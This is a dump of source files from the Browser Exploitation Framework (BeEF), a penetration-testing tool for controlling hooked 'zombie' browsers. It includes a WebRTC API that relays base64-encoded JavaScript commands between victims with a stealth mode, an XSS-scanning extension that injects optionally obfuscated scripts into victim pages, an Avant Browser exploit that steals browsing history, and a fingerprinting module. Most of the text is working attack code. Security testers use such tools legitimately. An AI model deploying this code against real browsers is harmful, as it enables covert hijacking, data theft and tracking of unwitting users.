# # {"from":1, "to":2, "message":"Just a plain message"} #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}' # http://127.0.0.1:3000/api/webrtc/msg\?token\=df67654b03d030d97018f85f0284247d7f49c348 # # Available client-side "message" options and handling: # !gostealth - will put the browser into a stealth mode # !endstealth - will put the browser into normal mode, and it will start talking to BeEF again # % - will execute JavaScript on sending the results back to - who will relay back to BeEF # - will simply send a datachannel message from to . # If the is stealthed, it'll bounce the message back. # If the is NOT stealthed, it'll send the message back to BeEF via the /rtcmessage handler post '/msg' do body = JSON.parse(request.body.read) fromhb = body['from'] raise InvalidParamError, 'from' if fromhb.nil? tohb = body['to'] raise InvalidParamError, 'to' if tohb.nil? message = body['message'] raise InvalidParamError, 'message' if message.nil? if message === '!gostealth' stat = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: fromhb.to_i, target_hooked_browser_id: tohb.to_i).first || nil unless stat.nil? stat.status = 'Selected browser has commanded peer to enter stealth' stat.updated_at = Time.now stat.save end stat2 = BeEF::Core::Models::Rtcstatus.where(hooked_browser_id: tohb.to_i, target_hooked_browser_id: fromhb.to_i).first || nil unless stat2.nil? stat2.status = 'Peer has commanded selected browser to enter stealth' stat2.updated_at = Time.now stat2.save end end result = {} if [fromhb, tohb, message].include?(nil) result['success'] = false else BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, message) result['success'] = true end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while queuing message (#{e.message})" halt 500 end # # @note Instruct a browser to send an RTC DataChannel message to one of its peers # In this instance, the message is a Base64d encoded JS command # which has the beef.net.send statements re-written # Return success = true if the message has been queued - as this is asynchronous, you will have to monitor BeEFs event log # for success messages, IF ANY. # Commands are written back to the rtcmodulestatus model # # Input must be specified in JSON format # # +++ Example: +++ # POST /api/webrtc/cmdexec?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 # Host: 127.0.0.1:3000 # Content-Type: application/json; charset=UTF-8 # # {"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]} #===response (snip)=== # HTTP/1.1 200 OK # Content-Type: application/json; charset=UTF-8 # # {"success":"true"} # # +++ Example with curl +++ # curl -H "Content-type: application/json; charset=UTF-8" -v # -X POST -d '{"from":1, "to":2, "cmdid":120, "options":[{"name":"option_name","value":"option_value"}]}' # http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348 # post '/cmdexec' do body = JSON.parse(request.body.read) fromhb = body['from'] raise InvalidParamError, 'from' if fromhb.nil? tohb = body['to'] raise InvalidParamError, 'to' if tohb.nil? cmdid = body['cmdid'] raise InvalidParamError, 'cmdid' if cmdid.nil? cmdoptions = body['options'] if body['options'] cmdoptions = nil if cmdoptions.eql?('') if [fromhb, tohb, cmdid].include?(nil) result = {} result['success'] = false return result.to_json end # Find the module, modify it, send it to be executed on the tohb # Validate the command module by ID command_module = BeEF::Core::Models::CommandModule.find(cmdid) error 404 if command_module.nil? error 404 if command_module.path.nil? # Get the key of the module based on the ID key = BeEF::Module.get_key_by_database_id(cmdid) error 404 if key.nil? # Try to load the module BeEF::Module.hard_load(key) # Now the module is hard loaded, find it's object and get it command_module = BeEF::Core::Command.const_get( BeEF::Core::Configuration.instance.get( "beef.module.#{key}.class" ) ).new(key) # Check for command options cmddata = cmdoptions.nil? ? [] : cmdoptions # Get path of source JS f = "#{command_module.path}command.js" error 404 unless File.exist? f # Read file @eruby = Erubis::FastEruby.new(File.read(f)) # Parse in the supplied parameters cc = BeEF::Core::CommandContext.new cc['command_url'] = command_module.default_command_url cc['command_id'] = command_module.command_id cmddata.each do |v| cc[v['name']] = v['value'] end # Evalute supplied options @output = @eruby.evaluate(cc) # Gsub the output, replacing all beef.net.send commands # This needs to occur because we want this JS to send messages # back to the peer browser @output = @output.gsub(/beef\.net\.send\((.*)\);?/) do |_s| tmpout = "// beef.net.send removed\n" tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd (" cmdurl = Regexp.last_match(1).split(',') tmpout += cmdurl[0].gsub(/\s|"|'/, '') tmpout += ") Result: ' + " tmpout += cmdurl[2] tmpout += ');' tmpout end # Prepend the B64 version of the string with @ # The client JS receives the rtc message, detects the @ # and knows to decode it before execution msg = "@#{Base64.strict_encode64(@output)}" # Finally queue the message in the RTC queue for submission # from the from browser to the to browser BeEF::Core::Models::RtcManage.sendmsg(fromhb.to_i, tohb.to_i, msg) result = {} result['success'] = true result.to_json rescue JSON::ParserError => e print_error "Invalid JSON: #{e.message}" halt 400 rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while executing command (#{e.message})" halt 500 end # Raised when invalid JSON input is passed to an /api/webrtc handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/webrtc handler'.to_json def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/webrtc handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/webrtc handler'.to_json def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/webrtc handler' message = format str, message unless message.nil? super(message) end end end end end end ================================================ FILE: extensions/xssrays/api/scan.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Xssrays module API class Scan include BeEF::Core::Handlers::Modules::BeEFJS # # Add the xssrays main JS file to the victim DOM if there is a not-yet-started scan entry in the db. # def start_scan(hb, body) @body = body config = BeEF::Core::Configuration.instance hb = BeEF::Core::Models::HookedBrowser.find(hb.id) # TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested # TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want xs = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id, is_started: false).first # stop here if there are no XssRays scans to be started return if xs.nil? || xs.is_started == true # set the scan as started xs.update(is_started: true) # build the beefjs xssrays component # the URI of the XssRays handler where rays should come back if the vulnerability is verified beefurl = BeEF::Core::Server.instance.url cross_origin = xs.cross_origin timeout = xs.clean_timeout ws = BeEF::Core::Websocket::Websocket.instance # TODO: antisnatchor: prevent sending "content" multiple times. # Better leaving it after the first run, and don't send it again. # todo antisnatchor: remove this gsub crap adding some hook packing. # If we use WebSockets, just reply wih the component contents if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session) content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('// // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file \'doc/COPYING\' for copying permission //', '') add_to_body xs.id, hb.session, beefurl, cross_origin, timeout if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance ws.send(evasion.obfuscate(content) + @body, hb.session) else ws.send(content + @body, hb.session) end # If we use XHR-polling, add the component to the main hook file else build_missing_beefjs_components 'beef.net.xssrays' add_to_body xs.id, hb.session, beefurl, cross_origin, timeout end print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross origin [#{cross_origin}], clean timeout [#{timeout}].") end def add_to_body(id, session, beefurl, cross_origin, timeout) config = BeEF::Core::Configuration.instance req = %{ beef.execute(function() { beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_origin}, #{timeout}); }); } if config.get('beef.extension.evasion.enable') evasion = BeEF::Extension::Evasion::Evasion.instance @body << evasion.obfuscate(req) else @body << req end end end end end end end ================================================ FILE: extensions/xssrays/api.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Xssrays module RegisterHttpHandler BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') # # Mounts the handlers and REST interface for processing XSS rays # # @param beef_server [BeEF::Core::Server] HTTP server instance # def self.mount_handler(beef_server) # We register the http handler for the requester. # This http handler will retrieve the http responses for all requests beef_server.mount('/xssrays', BeEF::Extension::Xssrays::Handler.new) # REST API endpoint beef_server.mount('/api/xssrays', BeEF::Extension::Xssrays::XssraysRest.new) end end module RegisterPreHookCallback BeEF::API::Registrar.instance.register(BeEF::Extension::Xssrays::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send') # checks at every polling if there are new scans to be started def self.pre_hook_send(hooked_browser, body, _params, _request, _response) return if hooked_browser.nil? xssrays = BeEF::Extension::Xssrays::API::Scan.new xssrays.start_scan(hooked_browser, body) end end end end end ================================================ FILE: extensions/xssrays/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: extension: xssrays: enable: false name: 'XSSRays' authors: ["antisnatchor"] clean_timeout: 3000 cross_origin: true ================================================ FILE: extensions/xssrays/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Xssrays end end end require 'extensions/xssrays/models/xssraysscan' require 'extensions/xssrays/models/xssraysdetail' require 'extensions/xssrays/api/scan' require 'extensions/xssrays/handler' require 'extensions/xssrays/api' require 'extensions/xssrays/rest/xssrays' ================================================ FILE: extensions/xssrays/handler.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Xssrays class Handler < BeEF::Core::Router::Router XS = BeEF::Core::Models::Xssraysscan XD = BeEF::Core::Models::Xssraysdetail HB = BeEF::Core::Models::HookedBrowser get '/' do # verify if the request contains the hook token # raise an error if it's null or not found in the DB beef_hook = params[:hbsess] || nil if beef_hook.nil? || HB.where(session: beef_hook).first.nil? print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database' return end # verify the specified ray ID is valid rays_scan_id = params[:raysid] || nil if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id) print_error '[XSSRAYS] Invalid ray ID' return end case params[:action] when 'ray' # we received a ray parse_rays(rays_scan_id) when 'finish' # we received a notification for finishing the scan finalize_scan(rays_scan_id) else # invalid action print_error '[XSSRAYS] Invalid action' return end headers 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0', 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'POST,GET' end # parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed. def parse_rays(rays_scan_id) xssrays_scan = XS.find(rays_scan_id) hooked_browser = HB.where(session: params[:hbsess]).first if xssrays_scan.nil? print_error '[XSSRAYS] Invalid scan' return end xssrays_detail = XD.new( hooked_browser_id: hooked_browser.session, vector_name: params[:n], vector_method: params[:m], vector_poc: params[:p], xssraysscan_id: xssrays_scan.id ) xssrays_detail.save print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] received ray [ip:#{hooked_browser.ip}], hooked origin [#{hooked_browser.domain}]") print_debug("[XSSRAYS] Ray info: \n #{request.query_string}") end # finalize the XssRays scan marking the scan as finished in the db def finalize_scan(rays_scan_id) xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id) if xssrays_scan.nil? print_error '[XSSRAYS] Invalid scan' return end xssrays_scan.update(is_finished: true, scan_finish: Time.now) print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]") end end end end end ================================================ FILE: extensions/xssrays/models/xssraysdetail.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Store the rays details, basically verified XSS vulnerabilities # class Xssraysdetail < BeEF::Core::Model belongs_to :hooked_browser belongs_to :xssraysscan end end end end ================================================ FILE: extensions/xssrays/models/xssraysscan.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Core module Models # # Store the XssRays scans started and finished, with relative ID # class Xssraysscan < BeEF::Core::Model has_many :xssrays_details end end end end ================================================ FILE: extensions/xssrays/rest/xssrays.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module Xssrays # This class handles the routing of RESTful API requests for XSSRays class XssraysRest < BeEF::Core::Router::Router # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance # Require a valid API token from a valid IP address halt 401 unless params[:token] == config.get('beef.api_token') halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip) CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000 CROSS_ORIGIN = config.get('beef.extension.xssrays.cross_origin') || true HB = BeEF::Core::Models::HookedBrowser XS = BeEF::Core::Models::Xssraysscan XD = BeEF::Core::Models::Xssraysdetail headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end # Returns the entire list of rays for all zombies get '/rays' do rays = XD.all.distinct.order(:id) count = rays.length result = {} result[:count] = count result[:rays] = [] rays.each do |ray| result[:rays] << ray2hash(ray) end result.to_json rescue StandardError => e print_error "Internal error while retrieving rays (#{e.message})" halt 500 end # Returns all rays given a specific hooked browser id get '/rays/:id' do id = params[:id] rays = XD.where(hooked_browser_id: id).distinct.order(:id) count = rays.length result = {} result[:count] = count result[:rays] = [] rays.each do |ray| result[:rays] << ray2hash(ray) end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})" halt 500 end # Returns the entire list of scans for all zombies get '/scans' do scans = XS.distinct.order(:id) count = scans.length result = {} result[:count] = count result[:scans] = [] scans.each do |scan| result[:scans] << scan2hash(scan) end result.to_json rescue StandardError => e print_error "Internal error while retrieving scans (#{e.message})" halt 500 end # Returns all scans given a specific hooked browser id get '/scans/:id' do id = params[:id] scans = XS.where(hooked_browser_id: id).distinct.order(:id) count = scans.length result = {} result[:count] = count result[:scans] = [] scans.each do |_scans| result[:scans] << scan2hash(scan) end result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})" halt 500 end # Starts a new scan on the specified zombie ID post '/scan/:id' do id = params[:id] hooked_browser = HB.where(session: id).distinct.order(:id).first if hooked_browser.nil? print_error '[XSSRAYS] Invalid hooked browser ID' return end # set Cross-origin settings cross_origin = params[:cross_origin].to_s cross_origin = if cross_origin == '' CROSS_ORIGIN else cross_origin != 'false' end # set clean timeout settings clean_timeout = params[:clean_timeout].to_s clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout) xssrays_scan = XS.new( hooked_browser_id: hooked_browser.id, scan_start: Time.now, domain: hooked_browser.domain, # check also cross-origin URIs found by the crawler cross_origin: cross_origin, # how long to wait before removing the iFrames from the DOM (5000ms default) clean_timeout: clean_timeout ) xssrays_scan.save print_info( "[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \ "hooked origin [#{hooked_browser.domain}], " \ "cross-origin: #{cross_origin}, " \ "clean timeout: #{clean_timeout}" ) result = scan2hash(xssrays_scan) print_debug "[XSSRays] New scan: #{result}" # result.to_json rescue InvalidParamError => e print_error e.message halt 400 rescue StandardError => e print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})" halt 500 end private # Convert a ray object to JSON def ray2hash(ray) { id: ray.id, hooked_browser_id: ray.hooked_browser_id, vector_name: ray.vector_name, vector_method: ray.vector_method, vector_poc: ray.vector_poc } end # Convert a scan object to JSON def scan2hash(scan) { id: scan.id, hooked_browser_id: scan.hooked_browser_id, scan_start: scan.scan_start, scan_finish: scan.scan_finish, domain: scan.domain, cross_origin: scan.cross_origin, clean_timeout: scan.clean_timeout, is_started: scan.is_started, is_finished: scan.is_finished } end # Raised when invalid JSON input is passed to an /api/xssrays handler. class InvalidJsonError < StandardError DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) end end # Raised when an invalid named parameter is passed to an /api/xssrays handler. class InvalidParamError < StandardError DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze def initialize(message = nil) str = 'Invalid "%s" parameter passed to /api/xssrays handler' message = format str, message unless message.nil? super(message) end end end end end end ================================================ FILE: googlef1d5ff5151333109.html ================================================ google-site-verification: googlef1d5ff5151333109.html ================================================ FILE: install ================================================ #!/bin/bash # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # set -euo pipefail NORMIFS=$IFS SCRIFS=$'\n\t' IFS=$SCRIFS info() { echo -e "\\033[1;36m[INFO]\\033[0m $*"; } warn() { echo -e "\\033[1;33m[WARNING]\\033[0m $*"; } fatal() { echo -e "\\033[1;31m[FATAL]\\033[0m $*" exit 1 } RUBYSUFFIX='' command_exists() { command -v "${1}" >/dev/null 2>&1 } get_permission() { warn 'This script will install BeEF and its required dependencies (including operating system packages).' read -rp "Are you sure you wish to continue (Y/n)? " if [ "$(echo "${REPLY}" | tr "[:upper:]" "[:lower:]")" = "n" ]; then fatal 'Installation aborted' fi } check_os() { info "Detecting OS..." OS=$(uname) readonly OS info "Operating System: $OS" if [ "${OS}" = "Linux" ]; then info "Launching Linux install..." install_linux elif [ "${OS}" = "Darwin" ]; then info "Launching Mac OSX install..." install_mac elif [ "${OS}" = "FreeBSD" ]; then info "Launching FreeBSD install..." for SUFX in 32 31 30; do if command_exists ruby${SUFX}; then RUBYSUFFIX=${SUFX} break fi done install_freebsd elif [ "${OS}" = "OpenBSD" ]; then info "Launching OpenBSD install..." for SUFX in 32 31 30; do if command_exists ruby${SUFX}; then RUBYSUFFIX=${SUFX} break fi done install_openbsd else fatal "Unable to locate installer for your operating system: ${OS}" fi } install_linux() { info "Detecting Linux OS distribution..." Distro='' if [ -f /etc/blackPanther-release ]; then Distro='blackPanther' elif [ -f /etc/redhat-release ]; then Distro='RedHat' elif [ -f /etc/debian_version ]; then Distro='Debian' elif [ -f /etc/alpine-release ]; then Distro='Alpine' elif [ -f /etc/os-release ]; then #DISTRO_ID=$(grep ^ID= /etc/os-release | cut -d= -f2-) DISTRO_ID=$(grep ID= /etc/os-release | grep -v "BUILD" | grep -v "IMAGE" | cut -d= -f2-) if [ "${DISTRO_ID}" = 'kali' ]; then Distro='Kali' elif [ "${DISTRO_ID}" = 'arch' ] || [ "${DISTRO_ID}" = 'garuda' ] || [ "${DISTRO_ID}" = 'artix' ] || [ "${DISTRO_ID}" = 'manjaro' ] || [ "${DISTRO_ID}" = 'blackarch' ] || [ "${DISTRO_ID}" = 'arcolinux' ] || [ "${DISTRO_ID}" = '"endeavouros"' ]; then Distro='Arch' elif grep -Eqi '^ID.*suse' /etc/os-release; then Distro='SuSE' fi fi if [ -z "${Distro}" ]; then fatal "Unable to locate installer for your ${OS} distribution" fi readonly Distro info "OS Distribution: ${Distro}" info "Installing ${Distro} prerequisite packages..." if [ "${Distro}" = "Debian" ] || [ "${Distro}" = "Kali" ]; then sudo apt-get update sudo apt-get install curl git build-essential openssl libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev autoconf libc6-dev libncurses5-dev automake libtool bison nodejs libcurl4-openssl-dev if command_exists rvm || command_exists rbenv; then info "Ruby package Manager exists - Ruby install skipped" else info "No Ruby package manager detected - will install Ruby" sudo apt-get install ruby-dev fi elif [ "${Distro}" = "RedHat" ]; then sudo yum install -y git make gcc openssl-devel gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite-devel nodejs elif [ "${Distro}" = "SuSE" ]; then IFS=$NORMIFS intpkg="" nodejsver=nodejs16 # having NodeJS 18 installed should mean NodeJS 16 is not needed rpm --quiet -q nodejs18 && nodejsver="" for i in git make gcc libopenssl-devel gcc-c++ patch libreadline6 readline6-devel libz1 zlib-devel libyaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite3-devel $nodejsver; do rpm --quiet -q "${i}" || intpkg="${intpkg} ${i}" done [ "$intpkg" ] && sudo zypper -n install -l "${intpkg}" IFS=$SCRIFS elif [ "${Distro}" = "blackPanther" ]; then installing --auto git make gcc openssl-devel gcc-c++ patch readline-devel zlib-devel yaml-devel libffi-devel bzip2 autoconf automake libtool bison sqlite-devel nodejs sudo elif [ "${Distro}" = "Arch" ]; then sudo pacman -Syu sudo pacman -S curl git make openssl gcc readline zlib libyaml sqlite bzip2 autoconf automake libtool bison nodejs if command_exists rvm || command_exists rbenv; then info "Ruby package Manager exists - Ruby install skipped" else info "No Ruby package manager detected - will install Ruby" sudo pacman -S ruby ruby-rdoc fi elif [ "${Distro}" = "Alpine" ]; then apk update apk add curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs fi } install_openbsd() { sudo pkg_add curl git libyaml libxml libxslt bison node ruby${RUBYSUFFIX}-bundler lame espeak } install_freebsd() { sudo pkg install curl git libyaml libxslt devel/ruby-gems bison node espeak } install_mac() { local mac_deps=(curl git nodejs python3 openssl readline libyaml sqlite3 libxml2 autoconf ncurses automake libtool bison wget) if ! command_exists brew; then fatal "Homebrew (https://brew.sh/) required to install dependencies" fi info "Installing dependencies via brew" brew update for package in "${mac_deps[@]}"; do if brew install "${package}"; then info "${package} installed" else fatal "Failed to install ${package}" fi done } check_ruby_version() { info 'Detecting Ruby environment...' MIN_RUBY_VER='3.0' if command_exists ruby${RUBYSUFFIX}; then RUBY_VERSION=$(ruby${RUBYSUFFIX} -e "puts RUBY_VERSION") info "Ruby version ${RUBY_VERSION} is installed" if [ "$(ruby${RUBYSUFFIX} -e "puts RUBY_VERSION.to_f >= ${MIN_RUBY_VER}")" = 'false' ]; then fatal "Ruby version ${RUBY_VERSION} is not supported. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer." fi else fatal "Ruby is not installed. Please install Ruby ${MIN_RUBY_VER} (or newer) and restart the installer." fi } check_bundler() { info 'Detecting bundler gem...' if command_exists bundler${RUBYSUFFIX}; then info "bundler${RUBYSUFFIX} gem is installed" else info 'Installing bundler gem...' gem${RUBYSUFFIX} install bundler fi } install_beef() { echo "Installing required Ruby gems..." if [ -w Gemfile.lock ]; then /bin/rm Gemfile.lock fi if command_exists bundle${RUBYSUFFIX}; then bundle${RUBYSUFFIX} install else bundle install fi } finish() { echo echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#" echo info "Install completed successfully!" info "Run './beef' to launch BeEF" echo echo "Next steps:" echo echo "* Change the default password in config.yaml" echo "* Configure geoipupdate to update the Maxmind GeoIP database:" echo "* https://dev.maxmind.com/geoip/updating-databases" echo "* Review the wiki for important configuration information:" echo " https://github.com/beefproject/beef/wiki/Configuration" echo echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#" echo } main() { clear if [ -f core/main/console/beef.ascii ]; then cat core/main/console/beef.ascii echo fi echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#" echo " -- [ BeEF Installer ] -- " echo "#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#" echo if [ -n "${GITACTIONS:-}" ]; then info "Skipping: Running on Github Actions" else get_permission fi check_os check_ruby_version check_bundler install_beef finish } main "$@" ================================================ FILE: modules/browser/avant_steal_history/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // beef.execute(function() { if (!beef.browser.isA()) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit failed. Target browser is not Avant Browser."); return; } var avant_iframe = document.createElement("iframe"); //var avant_iframe = beef.dom.createInvisibleIframe(); avant_iframe.setAttribute('src', 'browser:home'); avant_iframe.setAttribute('name', 'avant_history_<%= @command_id %>'); avant_iframe.setAttribute('width', '0'); avant_iframe.setAttribute('heigth', '0'); avant_iframe.setAttribute('scrolling','no'); avant_iframe.setAttribute('style', 'display:none'); document.body.appendChild(avant_iframe); var vstr = {value: ""}; if (window['avant_history_<%= @command_id %>'].navigator) { //This works if FF is the rendering engine window['avant_history_<%= @command_id %>'].navigator.AFRunCommand(<%= @cId %>, vstr); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+vstr.value); } else { // this works if Chrome is the rendering engine //window['avant_history_<%= @command_id %>'].AFRunCommand(60003, vstr); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Exploit failed. Rendering engine is not set to Firefox."); } }); ================================================ FILE: modules/browser/avant_steal_history/config.yaml ================================================ # # Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # beef: module: avant_steal_history: enable: true category: "Browser" name: "Get Visited URLs (Avant Browser)" description: "This module attempts to retrieve a user's browser history by invoking the 'AFRunCommand()' privileged function.

    Note: Avant Browser in Firefox engine mode only." authors: ["Roberto Suggi Liverani"] target: working: ["FF"] ================================================ FILE: modules/browser/avant_steal_history/module.rb ================================================ # # Copyright (c) 2006-2026Wade Alcorn wade@bindshell.net # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # class Avant_steal_history < BeEF::Core::Command def self.options [ { 'name' => 'cId', 'ui_label' => 'Command ID', 'value' => '60003', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' } ] end def post_execute save({ 'result' => @datastore['result'] }) end end ================================================ FILE: modules/browser/browser_fingerprinting/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var browser_type = new Array; var browser_version = new Array; var dom = document.createElement('b'); function unique(array) { return $.grep(array, function(el, index) { return index === $.inArray(el, array); }); } parse_browser_details = function() { if (!browser_type.length) browser_type[0] = "unknown"; if (!browser_version.length) browser_version[0] = "unknown"; beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+unique(browser_type)+"&browser_version="+unique(browser_version)); }; // Browser fingerprints // in the form of: "URI","Browser","version(s)" var fingerprints = new Array( new Array("Safari","1+","feed://__rsrc__/__rsrc__/NextPage.tif"), new Array("Firefox","1+","moz-icon://.autoreg?size=16"), new Array("Firefox","2","resource:///res/html/gopher-audio.gif"), new Array("Firefox","2-3","jar:resource:///chrome/classic.jar!/skin/classic/browser/Secure.png"), new Array("Firefox","4-5","resource:///chrome/browser/skin/classic/browser/Secure.png"), new Array("Firefox","1-6","resource:///chrome/browser/content/branding/icon128.png"), new Array("Firefox","4+","resource:///chrome/browser/skin/classic/browser/Geolocation-16.png"), new Array("Firefox","7+","resource:///chrome/browser/content/browser/aboutHome-snippet1.png"), new Array("Firefox","8+","resource:///chrome/browser/skin/classic/aero/browser/Toolbar-inverted.png"), new Array("Firefox","9+","resource:///chrome/browser/skin/classic/aero/browser/identity.png"), new Array("Firefox","10+","chrome://browser/skin/sync-128.png"), new Array("Firefox","13+","chrome://browser/content/abouthome/noise.png"), new Array("Firefox","18+","resource:///chrome/browser/skin/classic/aero/browser/webRTC-shareDevice-16.png"), new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"), new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"), new Array("Internet Explorer","7+", "res://ieframe.dll/info_48.png"), new Array("Internet Explorer","10+","res://ieframe.dll/immersivelogo.png"), new Array("Tor Browser","1+","chrome://browser/content/abouttbupdate/aboutTBUpdateLogo.png") ); for (var i=0; i", <%= @command_id %>, "activex="+result); }); ================================================ FILE: modules/browser/detect_activex/config.yaml ================================================ # # 